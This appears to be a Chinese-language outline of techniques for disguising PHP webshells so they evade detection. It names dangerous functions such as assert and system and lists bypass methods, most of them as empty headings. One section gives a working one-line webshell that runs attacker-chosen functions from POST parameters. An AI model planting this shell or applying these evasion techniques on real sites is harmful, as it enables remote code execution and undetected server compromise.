[TOC] ## 函数替换 ~~~ • php中除了eval，还有其他函数也可以执行代码，比如assert函数 • 命令执行函数system、passthru、exec、shell_exec等 ~~~ ## 双变量绕过 ~~~ <?php $_POST['a' ]($_POST['b']);?> a=assert&b=phpinfo() ~~~ ## 字符串变形绕过  ## 定义函数绕过  ## 回调函数绕过 **概念：** 指调用函数的时候，将另一个函数作为参数传递到调用的函数中 **功能：** 使用回调函数，是为了可以将一段自己定义的功能传到函数内部使用  ## 类绕过  ## 编码绕过  ## 特殊字符干扰绕过  ## 无字符特征码绕过